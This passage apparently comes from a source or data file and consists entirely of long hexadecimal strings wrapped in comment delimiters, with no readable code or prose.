87fd102d1eb6ac557723cc667f3a5f954dca21e5173d9fe6ef0f122df8eacff60ae8380407cc466dbeda82eb765bece6975729727830c9ed89405fbfb206a579b5b04737d25305e3b2495e8cb6309aded7fddacfab9b5fad7d62d86b5fba578ce3e6de238cc9484e97f007a51ce48754c262b638d87105277d5fab47bbd858be631b2f4a7b747b4142523d668743872a1fbab5c60244a4c71ee4ae752e1e18aacb6c40c2e1f5e9a2d7a2e0ffeb57ce1fc537ad9c28fe35d53009b3e99e690d2b0a18780cc54870fcb69c43ac51408c8a6984937bbc0ffa6e047d65a030078c1331e04b1ba72a060da4eaa670d2b799978930e090825afd416c17ebf5b11ec743fb6add81bb06df3cbded87a8a5ab02e76dbbf948746671ae2f54a1185ba886df155bd409ffe9af91236e3c0be3318f25ef92fb2f2ae507e75dfae6719e558013a7260715bda689f24ae6a0ac349d929d847698d5091b3acc9ac0ea4b1db8cc2fde5e36879c2f8062cf699f78cfcdfef9aa425d3c0da359e15e8e805decf7311e23c4b157d429e4e076d2757f92448734aeaa1b35b9079e6a67469fbe928f87f27576db546a41314d82526706f112705411496c1366c66a3a741e8dc6663507ba2c3837300548fc0831118bc401e6065ac8fceb74e5407fa02a3060fbe27764ca84d652bf6bc5eaedc9c169f80e6b4ace68158688dc55384569bd70ae4af9045c76b03a0b203fa852347997990dd861d8ad616a793a0e64a8e92894644b72bf983827a23*/
/*a1177f3d7bca4125ea5174109c1de7876b47abc058e5d1329a48c6f03309f6909a1fe5ba7438ce67e5722c796da8d7729071af5de87c8a1d103b026099c525dca8329ad819b4723b19fd61bed0c24384bc655c0843b99e21757b52f62bf9dfbf80ea97ee9e352fd35c56dece7ee0ea6997d9a42bc4791ddb4dcde9df252181f6b05f1db4f8c44666892d4194f676bc517330d32bd4a49c82e8d82a621395264aae5f8acc7304b1eb949867181dac6ca024e9588732fbe98d0d0072ef7cf28e082937c26cb131306dabe9d1e0ccec514e227408f1b869739d2cee3c19b542089c45dacb82750b57d8b2a64cee47f9ea75c6d37efead98ad03a3054409d1a3c62a349176562f07787e250c3249d86f0f6476807bea4e0c60abaf7d4cf1d8c1f7d2baaae8d084569780e962a7c851d486765a9acb1760e5aaa211952f18a09a5529be920794f0bd55df066eefa36bebab5f9bb7b3497634a55da369225ffc6e83ff7cdda2e7d66099d1c0bd3cc1df0f362a148038fc83a46f19f529d7319fd1a316bccb9b0274f046c4b5f9c9d51a842cf578dd76207d514843db45e6a630802782f1426d501f4523e5f3eeac359ee237856be0efe89fb848b6da2cc15cce8f2deeaa5cf73d8c18f1f401241389aec09bed9dcfec848b9d4ceaaf43dfe5886d45223ee017a138392a4b8ec9337e7d419a81f424008eec25478e194d0060d2f9b6d78b914cf6e7bc90e9ed8363fb3acc49989c83d3aee0ba8f2cb39243dfcd891d4b1296293f4649aff81bb85ed162c5597e41c93a4c335d4b9cdce6240a61a144dbca7f46e5fc860a84017e54defacbb84d60282ee5814a9de70ef1864ce60e7c9bedf35f3c8b8dfc9991ed5385419e4b3464a13d40723ffe6c7d72271101ad71b0b9b3889ebeb3f68a5099f4172598b7d1f2dbfabe0f5d57beca0f2c523ad5f303284a90b8076468ffd700428d8a1275d402c1acd14f10a0c3330b93c2bbff16a57bf98d640f7918d6c5ec50a721435e95015dc6069210bbf02c901426713341da3ceed2a48280dc1d4a3f97dad10af1e854f075917888461f3de0e685f0c8afa200f2c2deb930bebd3f346c22dd9f8e20c00eb00923ad9b28033b8980d9ad0cac9f852a03cb55d872c90ac3d6e20b1d1df2d6af79c44739a60dcfb941594ae41741ec384b59c302a580bdf1e6bd1ca679f69f696abf9e188e6c5b370f6761168cb8380b8171c41f89b582f3e32b2b0dbaffcc830e14019f196bb347dfef0e339041752c5c6d291b2db174f8399dadd0bec59dab138bcd05645d7fde9c2430d5da15afc3e3a8bf456b57ed412f875c721d38bd97c9f0d5666406a5488629619c13c557cfbe5a7bc860093538e9e087ff43b43c904c1536e8adfa9ec47cea446ccfbce003606090fd3b3945c695fa51fdd512dded07e22fd08b46a31231f618f5d91a00b46e0a776d172f1c15fcfb720faf0c7de62db46e9c5f979bc56d769802cd0471681d0f6ece4390938e55f2cf755bef9f9bb555069d2665f67876666e78e607000c2587d6bb1379f44cc37927a48782a4c3ab7949fca94e63f323b4f21fb7a32c80f9d1a80c0f12e30e8e969c2b4d1a2ef0f231e97f7b8c6a8a6a2c7ec39f6a09106ec6954748494c4c1b11fffc5bfe039ad2d3e11e50315ff7543c04c4581e21654d241d5061f9c8cbb3f0984d02b30a234a997247f5b7bf29252785bd0b2296013518a64f5f30dd3cc4bfe00ceba1c9f8ef91c017267f4c614b6a2d88f2bcca2aa47ef51502ab775590e8a6472e0562c082d2f068d971eefefefdc244a6d3e385963b3273031890366ac44ae1a80b7c4e35568a1743b2006c6c32dbe20440ed4885fdcd754328120fddd43d7b1b152f49cd29771654427a6fcdda1a4be87c60c765b3aeb244c716e5b97ef429d374d98ddc2293f706b76829c18fdab9122a3636f815aa862e91c9946231f60c348e45953e22125ef721f2e298ae576d6e37c594b4d8074a39bebbe4edf925fb2d0086eab3de9e49d69e16d0a013c6651035264dbcf90645ee8dfe819192ac7ca6c68c34187aa40a83b8b280e695e524dc00ffcaeb6ff0e2dbeeb080f26fcf409ec3453d0403071e701da94c5ad844f1865541c23acd5d50887f96717bde3bee9d3a1a4286be219b673a5675c666dec97280adb354a080dc7eddab8e9e407adff676ddb1a716ec0d45b8a2bc1d182e40dd1ea5791f9274b4b8f7371bc1fe6758d938fbba93c24aa49d276dbfe95f6763c14b3ec0364ea1af971f9917d1a94bae4d3a02387c661dd82a6cbdc9ef62209a4eb8c468f0706c5cc7a598d70530b73fb286a7b8c3678ba42dfd647ea4b721c6fa08284460ceda8940d43ff270b2137b22f00d4c9d2777793e2d538efeacee86b673bf33b4d9fb935a9041254568bbd4be51881f408e5f71c76251ca9e3bea0b695cda152862ac1fada4fed7e9f0ccb5fae78b50823e3dc15d55c28e616c0242984d7683ec5cc163dbad26d2e06db50254735f29d7f563d2fb740aa8502735e287b162fc25077f7447f582c8896c45f72506a920acb2bbd8d31448b03db31b9fd2d497fa0d3194584a8f264b4d0134b136c031bf80abab28ccc08168aae220a787a6851377729d0ccd22babd7ca4d385d8d2ce44d4067c59712e030a1b6c739c7a71ecb42d52db79593c41934acaeabc5ca26e7085176d087d8839939c5e6dcc2d07edbcb85b43ef3c217cd94c11ab5300335feb596000e519310cc8df8e6af88e433168d6c6036cf36d9619e54475419b1323f447471669f702be45c3b3c64890603558eeb01e04a90adf67b7638dabb3*/
/*c3a185207f44ae4afd14759897555956133bc52649792fff09967ffa4b685df1623871a6142e9c884b0c7fd3b34827c1cad3ba674b44e146c6e0b5d8bd4f4b29beab8d21d1abeb764345345f043ef22ee180168704d2a5199d014514e47205c012e230ed37e91ef39ff282e69b28436ba4bd1acdd66eb6e50b203b1d3e13be258f3c78497eb9e4cd96f0519e968644a3e2c2070e608b6812453b2422cde8530a34d0aebfa742057ac7c60e49b91005e73f52dc5483d085b331e56252f40ebe80105e19c51da71d626c3c9bbbeb9821afc2497a0544bcedaa0989dd52813a070ec71263913b478b3475e8937690921d9d666515e71b7c029c2dc016a6d5ca024e40c04692879f5366645a244e4baef9081129d7211ef0bb581d1ad34758d36d296e47bb4d48a8c7c50a9361412d121df0e3b98ba31f48a234f6df3d567e571136622e23380e9b1df229c0783729b95f22af216ef4555018c481afbb73897caf6671af35e3cf6258d2239eae2e04b8f2ea81f99ab21399680ebb5f632e22ac8dab9d351e0292c233e101af41ccceb9ac9b0e7ae67b2a2d652bb5d17e423fe0bca3aa782aa0af9323099902497ee480cf6eeae2571ac8209cd8c5456aa84a069c65b8aaa57cffddfa2cebf85f05acb93b789058146e2b2fde4f1323c9278c2a9bc3c1bf8bb2bb8675116f66936270b50dcc67d856c34402644fc509951c88c3abb502d6b0dcc327508ab07d23e3b2a309b04663f1d78369c88539191d32057e9435a3b2f8178374d0a6ef79fb56d5cdd95b40a111994ddf6ae5cf414ab93fb4f149507eac80611fd1a7af91389cff8396271ae71e72acfd5d609becb8996762303fa5b29b997664efbf973043f1908ad691007227a4ef7bbd4fe2d3e35e42a4ce8db78082fa2179247fe5bc4414f7264ba3de6029a4b1d98354b7c5916d9c21c1028e601645e518a93e765cb6fb2509e4bfc040bcf33d75fb363ed0472ab63d8c8bd4083e04e8741d154d4bcd18b9bf1fe8c71859a38f9caaffe62fc660e45f66ea260e956e956f5214b9157d6a448faf8894b0d1bece320fad0fbd7a9e123328164380b1a60fc6d6e062941761139d92ab343b06f538a31187ec66d46e138ffdb5eaa18c44924775ce60dbd134e17a7b2f93f5b80f3b6d088ab3621ea63503e3d405b1a48a741962f23fb5d5539316f98c230ccefb1af42e37d4214c3966206cf104250fefa97c06608dab6dca856afe9ab33faeece3f7a8b583cc3b28a9f48f1b870cc120b5f2321537327e920f1232dbe5f62fc33436ed7fd51b41d888baa6f2be305e2e7952249999fb33a12f00a43f7a40c44ed47cc79d6cf985897dcac25bdd9b24a1723a8e097f6533d984316cc754cc728a16090850a86315130cf040f11f28b6ed612ac12e3217eb17b214fa91edd3c994ed2e6cc2c135529502ad2dd76bf4b6e6b7dba7a227402bc6c3f2592a37e0deb9a44425f8a2aac3a1fe54bbddfbfccecd65119d965ebac4ca83d4008b5b60870e0d54fcadd887e5911eb84ce1d285afb5dd77cc76f28a812a1a505a4e50559b0215d3dab9dd48f6bd99a45ff0d1aba62837c8387c34201f59a0a17d58f4dc684b63288b5663fc78a934f227a0e51329dae1cc6eb8d7949cc2e938e7d96fdd397582decfaa8b4f66eec89eea7ae27fa86903bad674d6344858b1efe184d5c906f20fd64efa84379bca606b0615c607297059d6c42f5f7591f572f2243a16927799985ff663e2ca865afbe6e49f2379bde6baa400d43b1694e5d1fa5bd69ea83daa4580e228e8075ed41fcbc386208aa2e825d5b9d9061e2985bb3e9fc42ab18162f9599111acd9697be38c32e9705da9aa724376eb71dd5b64fcf8454c973303390a9051deeff39f863b133d57c99aa52ada2fe920c5850038770faa6dc17dd84df19e2a356a855487c062764b2709d8da23a3c1232b28eed382603965fe325bfe979a156ccdd9dda352b7be80be6e52db31e0e3b9d3bf12d0f635475253d82d1b2ffe3da7cdd5dbbbbe3c7b43ed260fcd3f158901390a81098e4ceb615d03c704ae201fb7de6377137f4cb9ac0809d162425aab9143891089a75b1b65f0b0e49ac34318176bb41fe667635c5ff0ef12476cc10b25f5852fda18d849a240b354f3e2d9178040fc8829b5a7d2840ac683d489a9aa21eb064a42058a8b8a73e9e8064472b5457cd08cb2f2fb1d5d37e678ad3e4b5c792dec3fdb86de8be3dae8db87b451999393ce8f712fbbac6e4cd86f2a4e7478a4df62e722123aac80e3d9ee4fe89eec44f606b98ac6a86b10a4a1c38156bddc690c0ae35a73fe48c97b1f46c80f1541d870e83c6070bee79ac99bc5a66d151e506081ccbbd632059bd14eaeae9b0c864f3214bab4b5f86b27574ee910eb3e610505dec867a38ddfaece2a549d53ed06c01417c0bc3bc69ad7a9adf422486a6be924775e0fab1566fb6608cb7c9a45b846e5660b6e10afa304455abe294a4019839a4e1617361b5b1c282b70bd065f5d777776833678e3c4e2a1f2877629503d79240f7c707132eafb903603c59e0678e3fe901b566fc1f8ef4da88d40e9bb189ff9c9b370c324a8f03fb6f7cee4d18155a3ea74ec4f010b5e709c20fb6de469da8b22fcaffb13600fbe480d43a734f8153e81c9759c3428832330870397533c027ac728af8bbb10bbbff530ab29ad7d83b265b04c41bf2f0534e8cce6724ad52b1b7dcb71be52e4686edb871811bbfba8c06c37d0ea52482a4d4465b9f2a86c24cd04cf988c57971775b9304c5f727812d8a214e914e0615afc6fd25f3ca773f428d471a6fdb7b24e*/
/*113fe8723ef08a25501c67325895fe55ed52e20cbf2108ca90de4119bdd28d9c61f7b8b6d5404810752485ae911152afaeaebb20c4654c33d1a7d948b4598f77931753eb18d70cdad02d21c9d072d5621cebcb91101557040e1174f2e8d767c6b573091391c16b0bf3bc498e7b5c76431d5af3ce151f6af6299693cce394998f7a212e005cbd3fc472b17d1d11ed8871f4907dc436c2397d13351fce1fc5de42985cff836697e7b202b24e04356a8de3df84f017dea8bb15ea0b485d6da8610b204bd06018317812a22a32319348bbac1cdab4cfdbbfaa6f472f9a2f328f9d5fc44897fc96ab5111f001c98f1906ed3b9cf8ff85659c6acd2b5e568917ab924e9d77e2848d4406ccd28b7158566dfb519820c572af3c0fe261be19c85b2c32172d8304da679da4ea6e17c0132663ce7868f8267624766ea85e25b9096790ee2a28279abb5e37912378c5a5ae22e970cfe90eb9d1e8ae3f3c6961a028813bec0e527af19569a18d17234a8bbb320bc7d8e60a6cf3e814b67c759d4809b4296d5504431ecb655f49ef441360c8cd80c6a736a2ba0f8587f75a288e47e7444004b362d9e1804202afc181dae88329f2ea9bd152ed1cd3e33e5e74d1f6300c8feb72486c0fa1a481104ee4a2aed82ef8944515588ffccf053887e3f54f79954a882ed2516d7366f06f7543c9f5db83510b37028a529ec93a597ae59a319f76d1ae7b2feaf42d070c37a6ab59502b41d0ed7cc84fa64ff9f494d3c76e19dc52736396b2c7efd04eb38aa8ec49b27701e782863a96a647cb37721f09f00837d3fe040c397cff07a6b8596cef98cb7dad922d44f561e20065b1103aff02981f5acd93adb3fa4cbf1582d2beaa2087c16552639e6d857c32d877e83c92db1cd830e3f83e963c2a7c3d4cfbb9a10fe795868b3cafb7caf3cf6206e268f461e1ad8e4bc58612e84b4d44163b61b1850d923ae143898b72f90b341015ae28bb90502ce96a7a7a028586c8c16a0ae18abf33250b4484cff7838d20c67429a7b37019fd4a2d59d5630146e05bb39d057b198940f87dafcb7751f91142e4af6e3f740d43589259398b8a55885dec0ee433a85c9ca380d36597246d9c5540c5fe28c91efbcab55d2516d8331c31db47c423e0efc0ae5265213bb6be6768f3ecf6e097053d39889ca7aeeafa5bb98b6eb4de3d4e0653c73995d9caf2a0f5b4672813cc9cfc48e18c961e490b735ba65a6f8476f6e59b891645fd7d1d4f38f73152dfce1472ab4d4ac5ef06da1defc8c7eb4b1e94ab13e3375bd9f62c55237176b23e4481819efde1ae4bb675ff84a404943218b0e4cb932e33e544c268976d76e1bad5aba1e0482c5b031d16811e11eb52aed7c51adaaaadab3153ba9e9c61e83f225fa9ce0c09854fc4f984afe7504795d19bf10d53a0935e0afd00884e640b57723029a3bbb2ed613fb36572fc547c979ccd5d7e693543bebecfcb7f176320044be4b57cb30a60efe2fcbbcd4bf1ae3aeff1498af54dd12c157a724e73faaa1fd5d0cc93b46ea5c3d04afd3a732e444c031795c0702a51f73de83b59bf5fde777b363232a912f2c672586645437162b4d477ba8c856b3ee7600f48cb7cbcd86ff5631fed70c0df18f46ae7fe029c5650ce7e7186305ed98758828fc0e44c590102c5f51c20cd0a1e2125f432e2602b9b379da354538bb589dd0339a1d0fe888791469293b66890c15102edc39fa3ebe27edc06742f466d2d991a562d270942ec1ec6a89e34178103cfc3ecbcbe1edc3022cfb1894c5b25d850cc5cb21b637ab0e11990e40c50f396a7f6b4e8ad1b3a5d5ee2f78a118103f05aa6902b58eceb31f8e3bb74cfaf38e46c9d8d78cdc78201c8756ce4bedbbe8ebf0cee0d887758a3440c925109908c0e299671ce444d60440d182241ec93a43c9d4c04b7a778947bcbbaf845385b15552b34c9dfde2dbea884382cd94ddd064d3f200b6f1c2941520289d08142304de5ce3b1cd5e96140c91abfca10af91ac52990eaf440a685a7aa0bd864d9d7a7828eaf1f84ddbc61c17286f033f1c353d5409d8c7ffd702c866407823934a9e9547c73806f220bdce7c6f77bd5eb962cd6be13b7b7ba71fc7498c376f55662e84b980cc0fd9a853e3699815dc39ac375e7b75c2ed272c285362c9056a6d08f1e0e853a12e1e26def4069c7291ce9f191aa273086d342fa7542eabe543d15fc1bb8a390316846c5ca74091cfa976502ccb6009fb883ce279e56a2d5072c72dac6385937d74cbfa66b9d2e3ed717b6b1a71f7d54da3d665d66f4f3a15c0b5acc2a86d0fc6b4dc16ac3e31b57cacf2264668910ec49d3cea501129933c7d6cdcfaf92ff48febdae49a3ab0f502c15d17030ad7d924662efb66023273b84e0eec8c51cedb39b9f0551d0f72298b75284b53e6f99e30ef3cf405682133eae719b5ded3f007e60a42fef2b9872017e21d17d8d6924f7df66ee9b4cb0278628ae5431512db655cb000ad9a8f4d51aadfab9c699daecf21bdce0d1f28a5245f10c8ddba1f393b95848d60536efd40d7475966b37bd1fdeb227d47ed8f7a241319c87fcdc2dace11f7e2e388d3640030d46f91ac7c6524c50af9cf81a3fd45f4c84184f95f12bcd88b5ffdd2ad3979beb6bdf2813f18823e2cd150c09d292f65664915abd0e37509997498b5fd12f77de68c585160c06c88bc30e9218129645c4e15476b7295192f3aa7232080b97efd846276a2db5a13c54f27b29f109fa802c8fd6ec7ee6ca9c85e65ac9c8e8c6266efccaf8e1d000bec532f214942534cb7d87458e0869a053674cba2629310428284c95c540f*/
/*f5f7d575960cd46ce2a839a589f04c76742e4ec6dfb3de3ca0f9328c6c1b21613926042c7058b538ea753dfca6e49b34a690af8ad2d580936564a33fc7a70784bc64715499843b0b6a606816755c7cb57321a7aaec245b662e87d11ba9ba965d67252b63ed7f01d3bf12260c7a6670dccc8517c974bd223401c10fd668414f9346db335643d29db08da9c33440d1ce6081bc8c4570d0f33a763fdf90253cd2ccbbe099fbac4333b88f17b06771af1ff33f24f2af1faafa3cbaced61df56e87439ca5f543d9735116140982aa561efe25e2b619fe1e45b9735cf8dfeaea29ab4f7753f7f46e57a0bbbde18fb01371282878d7355226e079bbc9d9f7cf576b23b531e0d5ce9a6758e4207ee8eadae0ab3bc32c05713e1963ec3782564ba094571c8ce474be28536d3f608e889cc3d3999d3e857d719dd56ec11e53f43992f199fcdd7f4eb31c279de132c1909311138c941b2f6a650b9fd84b9480b3abb737331865223292fb3dcf965799b400e946d1ef75f867e40b8a034dd15fd7eda0bbd4a11f1ff7db7191739a6c749274b196a08a2d40549c5c9362c6022d3af7235c8a8f19d626aef2a17113d521d466cdfd043b88ce935df800034237c07cffc3df3581a32d481ab22fa1a797fddc87875dc2581e8d7cc7a9dbea9e1d4bf44e8abe1999a2ab2fe2cc19e3cc25a8195e186ac3b724ba0d3dbf0f622a206711171b389ada61f05a7839a735ed3856fc62194083c425420b2a2329746ff117b37b8642b72aefd08c6be6d25f7b0fdc0336f0243126ac44c02c9e1c3a0e8ef1be682c0554b55892f06133d91ef930cae36bc93ee434f0baa087ed321093182e8ac8bded0a45bbdc07d2496262275223dfa4f9c8abbdab7e70cfdc31a0c05ffb928de4be833961d40e0f092b0dd52177073a4c4f40ac9a800c8304b5b5450b6c94e2a143ab000b72ce4136f9e6296b0ea75b8947c990718908beed78ba8139ed0098f28b9b0fe7798e779e3995892c121b91b1df43c927f61724757ce329f0d64f9785d1b6d285e2ed3764ac1c0de82780e4eb66e2a9de067a1db2ccda1da6c66dfe11bc6d3cef5e5ac1b63c947e85b704e61c0a1b5aaf4b5f86e838942c3cbd0bb8845492490b960c36dabe735ed4587da733916da760e50311b703189a6bdba4fe3b41de0fcea4139955e0dd3c0a0e666e0b74a41ab902466d07b9fcf72759b899a354d68b771da4ad406bb2511dcd155329be310a3cf9071ddcb77bf6d72b0bb6c7ff0d41bb6509f7cfdff6406fbffb5c36f7f2b1b967a4a0c610f55361a7440f93997f16a637b48755299110f23b5b800d21c8e534630b1c74a8697680332f63302a9c2b6d3826695c8f020e0add555001b910a750bc43c15001e752bbcc782697af11d24d389dff688bf31d2fcebf36b647176c3ac439e8919bb9b9d3b3158e924d9212a07e70ebc08da749003eddfe9971c72f7c37e26daee1aa12879824a715d12fc7ea2aef5a09ca8bb9151b995668772c8ff0782cf2b451556ee7d1b3a0b1517709af03b7198f7a30eee53801476f833b294d18adacab61f7b7c620b5d3e34c626f4eb193938a45a8f1ddf12fe0f395dba21ca00714a4fa6fe5e46595a5c1892d733909117303e1c41a2b189252d19cf15c29bd7428e07371258f3b6f27778122aeb6e7a5c1826fb95d1363e296e9544c833e44dff0135b20cda359170858953898301bcbb3b04e70c11d3225230cc878c53cc2754a13067f6d6f986da4f5bb0be5ca4c51968796c6b442cef45ea9644310d5ec10245a3a7f3c8b7386ca530c19871e056b8585ae568e6e624af26e2050a05dae8f8e19c7662c7a0da01e3651a1b8ecb38ce79e61ea1ac985bb6a788595551136f1230caf571cecc00fdc50ff7402ee7ce755028046eb41c925d9a58a211260dce06d4619404786585bba1e997c3c7a2acab1e16f9ef5485df5fcc84491df4180cb9d45341c6fd8a95ca5beb442235672a5f62a4f57974a94bbed0ade51454b3cedaa20e400d8f4cc3fdd3f229898c801c0963eee463a165051e369da247ae97042384863734399a2166b8ffdd4de34ecb1f3d4ac3bc11b8941bf70ccef27497f86762dedd0c76b26f4c97c4857614abaa67778dc39e577ad897b404b4e7fcb9b4ce3a7213fd1f5f28a2c899d2a0c8946f604eddf44ea8a318b1ee38fbdb58144cfb1c3d298411ddc8a400b827d4e41332028e3e44f8a8751e02fbc3a878968ec784133b1ed85656c4c64e77d459a28ca5eb1317a84e21b73716545209dd4d982010892af96fdd611bba874b31bbd214291c826ecc6eca1b69e711844593f99649008b0b824b344b6f6ca041e6f81a7aa3cc1e6dcdc40aff34a25f5c2e2d312e42530ad73f13c4dd361325a368eea6f7a4e59d54392952190f67d88659932270976988a496f3184a9c8a200ce9c7dedb8f8880116637f11c058cd13ba32c379c6545e095126ccec0e287495494b3b2ba5451a0836aa7915ff71d33afd9b0bb2779d39363c7b5eb8f9d9ea199bae4ae3e5f1f7cb78376cac4dc603651329d824a204e5c0477d30acfc978d2ab37f03dfcd9df8cc3dd32171dc8858b37549fa4d890d8950c0da771a5d3314d309e6923a12d93a25e1d1b27ec661aa75f6da00991b0f0b1893c0d14fea58370a533240ba6c10dd632139b3b1ec284377e27aca8c2ec3afd9c23c39c85a47e595719de969ee6351a36c85f1b014cc45cffaff21d483035ea6492ece25557779764a3027ee4c77ef9a2b08adeef1cce553431a63a0472b91704399653ebdd65af4947949b75b8a1b119a74e4100077301000c01b*/
/*8140a2a51e7a3dfaa0c333b0a441765fe0872b34665433a4ce9f0b1cd44f1ac34b922a564f942fc20fe8cec3a7d3fdeefb15119442f07a1bae081c8892f49011879a27e35eaa4dd854c0469c9d326ffbf619242bbd0ee77f88de7593e69aa9fdd2bc563aad362f67cd7cb58b9f2df3167d3897e2a1a6548fda5de39e9d79dac2195f060bd778f86e4f78da74d09c09a1cf827758eddfc7c4ddd204cac228922baa857abe66564e23d135fc72a408822c6d7add13c212daa05372113a8a71a3535fd979ff87291acff04cbefafefa80198442443d2a57bf79bdb1d36780744543df09eb78c905e1ef0ace564d40ce4746175894a88508f48f5674cba12a7e3b8ff616d3964bdb0d3571a93912bcd92f56f58ae8368c0a6f65cf2652ed8bae61ec4a3ed1880e67e1b3c3e4c6cc81e633d9daf6fe2391de2d943924f3049e2cd940faf4780559b1e4b9d51a24f9285996f0b973a9a3605a33b66f9d1b38a2c95dd9ae6e29bfaba054d280586d6a4c4cae014344b0abdfa6531ac2044c7be9f918239052d94a6de644749583f7a94ffad6d1764c4aeff3c7c31e6dab2b03bf0308897e6daafef0810f315abe3f0e3ad05da34b26d3620dab1746210caa646b8b33c96b3a5e3c8642b7a678501be3b46d0b4a5cfb06ccda23a6e40d499719d61b7b0d4e969fe56f0de073927a100ae789f0460e919c2cfbde6873b46bec2ba88b6d205d9dfaf507e8400d298ce6d80f13eb9879b912bda5a614f0fb0f54a90531d058af1f64082970ca0c3ea9eb459dbac0a0d60ae3d98b16b3e0d7953c94ecd9b80441c4632fd68797402ac5427c0386a7d575d89e05fbf9d6381b30c61f19931a1291f943a67cd2239c826342d43c5ebeffdaaaf8472364e81ffd1a42aceba66762003f1419aa6bd72708e9bff3e81fbd52b78208487ceb7697f6788065dfc698701f3a6722c52fc2cf1ec72fb12d6ab2d5d9e47c576a56405aab3e42d6506dd2c0bfaa858be61147022b6cda03348f2256f4892209b802adebfb3c386b0a5a3ce1311b97bad45b0e0e42071835dd135708ffc352ab9c30a8daa769c0dd772ffd60764387247fc01baffbcccb4e8ff944ed847d3b180b90e60f3f46365bc3c5303c29d93df2de0bce6c617b2f90ab74c681cd82cc6306d73527655d55eba53b1e5a8a3b60f7f089c27bbb77653f52eab8c2bad5d3b2726c9b15c7e3b809921825b9d7656e11fdbf759e937890733d55055cc98f9b0e34dcbbb847d919c390cbb6edfe8a732d1b50ad7cb0fae55108c2964b14b33a313a6117d9f2b9d721fa2ee708855b7353fea4bb5ebcecba971aecdefb02edebcc334997787f480258f14038c75289ca154544031525ebe388f374b0f2ccf1546f4d7bf0c172f9318c14a4a67f2c0bbe7fd7c47728682476b2b3c57259c635b9fb578e0e70ca0957dabb47b0cf42b82735f4d8acc22ff87c95f6b87b6fd88bbe6a35ad56640f85e1e252dcac384ddd9b8dd3f912af345221a0b1169047407753048fb97e8d026bf73cce53a06ab01d1faa06e571ae14937d7563b07b8f512a35d05223d2b10b091d29b5c7ecd218352ab4652a1f902d011247aebf7ec8681186b686a06e33fadc91808bdffa653f50c20780747b25ac249cfc9cb785334e77606d9c43b90fc2f0665f9b8e031fbd82e98611104abe9e6bd21b583c888c88e7b383d95029c1239738af3fcb01f46bf4a61146069277c813757ae35783bf0df7c01f6e436426429a9b5523e8c14d564842dd560e8336adc395fe5f0f514b45e47b5734c43f63278e654811acc771fa990e62787d6f55c82665921f312d8f9db6eafdf2e97541b30bfcacfa6fc3b12832ba7330c9d01d497e06f08e47ccbe48c8f4b81a0faf58335ffcc4123e0f75a6502de11f22f9fdd4143b77e99a46049c6a195867bc92931044511fcb8ba45611f5e8f43bc659da8e8eb40795b79f051a7060f6b2fdc4fdcd085708d7c27d162d04d63538f173be189606e79c3ec8f2c6815eacc0890590377d8374660ecfd456b116e5c24cce035d8beb698f3327ad78584ef588341fd7d11abec8295a096330fd0e46151156962b317876d4cfb7f03be855f2eac1dcdd91535ced3967278f570bb6a9f15be8ab58b4a40a7fde1efc29a61c40053a0736830031a088f4dbce819ce0e9ff6b3a575935387912210b2aca8d808ebf4f4d2ffaadb394d55aa9bb70e20e4fb5093722fd697cdf9a9e1da80d1b8024105a99e30048f862ab6e7166aa6e7ee4a4ad4a788ef94453cfd4997028dd09c39fa47cc236f5916660d3f9f4021738d686a4107b59898924c77bf7e2c6797a178c2298de8611861bf88fed147b9c38673f97ba2e9bd4d7324f7d1136c815cf8534348d538a60daeb52b3b154fe1f4350bcfa285230a4443a0d449285f06c1a54bf699342670976a49d0cd05a38bf617d16a93c24456926212144a2ca36bf104b3c2c35d03a0699dfbf73d74a5de223fe4abb022984e82d70fb92ed34afdc8c031e4f5fe962c52072c26e4663cf0e2cb4dead6d6cedff7596c57210cc76283f7f962c946557003f4d53b638194955326aee2b4acfdd74a7f877398332ac5f4f36112488a65616e6cd1b601028cad14e32d7a9b148e6bafc3875b81887d6b56e0e23f31d2a8b6f217c7b640a149c24fe8d0579d59410e4fe9b100920be000ef30200bc9889c582e34afc9dc089acfafe2b06c430d717354916f4b6978c7c2a5421730a2f407fbf48f08f8ef993d03724ca41ca812a7c73163b580c51793264d5996f638f0bdd8501e9524967eeeab3573c7174fd49a76eadf452e1c9ae*/
/*afbb3a086805b66b72c4ac465fc38f55f9e0dc8ed5ea9a33809f805639912abe9db22419217c20413588624b22578fe74cb48ef61fc21a4b9f2d05b5abba678dfc945418b6f3a1da575bf412ac6827181e371bb60b15a7e4dadb808ab3c1dfcb93883d3a305a0004b825911224e097b0124deac818d3e822a05a5402f155560d44a2a640edbf1fd4a1e650e66a45aebc2c4bdc1ab4879362b5d32697ce4c0ae413289577229bae38c1e094a6b09d8e42d6dd85879c615f118daac19c4fc589a0c5d2bda8e82a8bf7a9ebd33024e554fa57357f690fc38d7306a6f24fe3b7f470715a6aab874d511920406f90035deea93011a40b0a2e7b15a50c8b7741345a2158b71985b08cee0c0fb53dd712035b40020e42e8008bf315bc2d1603b65a2c3845de99f50e0634c285fbb33da48808476a9988cc4b7c47474140b6976f58269c41b9508c871993a176e3dc024dc014b0e0d9ce3161b5679b7e9e076e62f08c2a18c9172fafcc4c69e9c8e888558dac01b0829130ff6bb43778bb59a6df315c5bfa033d6593c52c4dec54dff87c56db860c1e89cdd7dfac201a8c6027dad2a33cd1c5a42e41220016abb142efdc9906c8852cb1577d709535ee1b21fd246a5b3f1b1bc98fd9b08e1e74fde4b7a809d69080a7dca1a24e79ff2ce9d4568d635dcc9a0bab26e1575cb25bb44ba0bcbedc7814bb0b013975dea8842aaa4f525cfe25bfb34aa94dc6c5ee1708e036b1d65e04b7805da257badcd3d48ee8d8fe99c415bfc14bd847ca475a379b6d784fad94ff1a47ea45142a281c64fa1f4ce1aaccc28cc6a7d62744bbf818abf383526c337e9be8228f9630ab8130dcde51643d347b283ecda89daf8a1328d80d01f717367aec5fa3d601fe7d697263df2f6f3b01aa5ae42ae287960acaa72ffff329b2e9f250151782e3e60f06e2cec9a1e89abfecd48d2031c6bd988f3000ed3f5494223b8e850a2ace8e4ae058cb7f7d7187ace821ce57b39e6e2963ac2019201566f5d6dba99d2191cd6a3e91de5e245c6b2f4189f7892b9da751e9c7dc8a92eea2e953794347b1ee9fdad3b2528c8ba79cd86ba933376b95651eafb6e06b8a9d1001f0df8e20dc5d7ffb01d618def63aa930245dfc4b9d02a5408fe7731d264ba26f993328aeae158cdd3eb243037a7696317e03349ad1405118e6d0abb58d1454570da00ddffb36fa2f9074952bccf92220d50c9dc7c10d5f17e617a1c83085a02c22dcb2267f62a059c64fe497ed0afa38be30dd9d4cfe7c37bfe0d265f841f4a852c6e5742390bc4f673c2c8718ab52cc485364ffb2e98b2dac56790269f3c22996289eec7898a6aea751709171e19f1ead6eca64c157550cddc366ca5576a7f56fae3211b64c3f17d4fb192ec0a5a8a2b83ce098f976aac3fdc630f1084